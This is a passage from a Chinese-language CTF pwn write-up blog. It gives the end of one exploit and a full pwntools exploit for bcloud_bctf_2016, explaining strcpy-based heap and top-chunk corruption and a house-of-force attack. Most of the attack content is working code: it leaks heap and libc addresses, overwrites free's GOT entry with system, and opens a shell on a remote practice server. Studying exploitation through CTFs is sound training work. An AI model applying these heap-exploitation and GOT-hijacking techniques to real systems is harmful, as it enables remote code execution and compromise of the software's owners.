__free_hook = libc_base + libc.dump("__free_hook")
__malloc_hook = libc_base + libc.dump("__malloc_hook")
system = libc_base + libc.dump("system")
realloc = libc_base + libc.dump("realloc")
puts = libc_base + libc.dump("puts")
print "system is ",hex(system)
print "__free_hook is ",hex(__free_hook)
'''第四步:再次篡改free_got表至system,实现getshell'''
edit_note(9,p64(0) + p64(system))
delete_note(4)
conn.interactive()
bcloud_bctf_2016(万万没想到时house of force!)
这个真的时没有想到需要用到house of force
,而且漏洞的点和32位的strcpy有着强关联。
漏洞点分析
一开始错误看的以为有off-by-null
漏洞,结果发现多虑了,人家再new_note是malloc(v2+4)
,根本不给你机会。其实秉承着前期比赛没有多余的点,再一开始的输入name和org应该是有意义的,而确实漏洞点就在这里。
- 漏洞一:导致泄露堆地址
因为存放堆地址的v2
和输入内容相邻,strcpy也会把堆地址复制进堆中,因此在后续输出name的时候就会把v2存放堆地址进行泄露。
- 漏洞二:导致top chunk size被篡改为Host内容
原理也是相似的,都是strcpy的锅,最终导致top chunk size被覆盖
最终导致top chunk size
就被篡改成我们输入的Host
的头4位。
然后我们就可以计算堆至程序基地址位置,来控制heap全局变量。将free_got
篡改成puts_plt
完成libc地址泄露,然后再将free_got
篡改成system
地址即可
利用代码
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
def welcome():
conn.recvuntil("Input your name:")
conn.send("\xff"*0x40)
conn.recvuntil("\xff"*0x40)
heap_leak = u32(conn.recv(4))
print "The heap leak is ",hex(heap_leak)
conn.recvuntil("Org:")
conn.send("\xff"*0x40)
conn.recvuntil("Host:")
conn.sendline("\xff\xff\xff\xff")
return heap_leak
def new_note(size,content):
conn.recvuntil("option--->>")
conn.sendline("1")
conn.recvuntil("Input the length of the note content:")
conn.sendline(str(size))
conn.recvuntil("Input the content:")
conn.sendline(content)
def edit_note(index,content):
conn.recvuntil("option--->>")
conn.sendline("3")
conn.recvuntil("Input the id:")
conn.sendline(str(index))
conn.recvuntil("Input the new content:")
conn.sendline(content)
def delete_note(index):
conn.recvuntil("option--->>")
conn.sendline("4")
conn.recvuntil("Input the id:")
conn.sendline(str(index))
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 26236
conn = remote(HOST ,PORT)
pause()
puts_plt = 0x08048520
read_plt = 0x080484C0
printf_plt = 0x080484D0
free_got = 0x804B014
'''第一步:这个welcome很关键,实现了heap地址泄露和top chunk size的篡改,原理看博客解释'''
heap_leak = welcome()
'''第二步:执行house of force,将top chunk对齐至heap全局变量'''
new_note(0x100,"0") #
new_note(0x100,"1") # 这两个堆是预留后续操作heap指针任意地址写用的,因为edit还有size的写入限制
target_addr = 0x804B118
new_note(target_addr-heap_leak-0x2e8,"2") # 将top chunk对齐至heap全局变量
new_note(0x100,"3") # 这idx=3的堆指向heap表
'''第三步:一系列的GOT hijick操作'''
edit_note(3,p32(free_got) + p32(free_got-0x8))
edit_note(0,p32(puts_plt)) # 篡改free got为puts_plt
delete_note(1)
conn.recv()
# 泄露libc地址
libc_leak = u32(conn.recv(4))
print "The libc leak is",hex(libc_leak)
libc = LibcSearcher("read",libc_leak)
libc_base = libc_leak - libc.dump("read")
print "The libc_base is",hex(libc_base)
system = libc_base + libc.dump("system")
edit_note(0,p32(system)) # 篡改free got为system
payload = p32(0) + p32(0x804B128) + "/bin/sh\x00" # 让1号堆地址指向/bin/sh\x00字符串
edit_note(3,payload)
delete_note(1)
conn.interactive()
roarctf_2019_realloc_magic(realloc、IO好题,必看!!!)
详细见我单独的博客。
https://blog.csdn.net/qq_35078631/article/details/126913140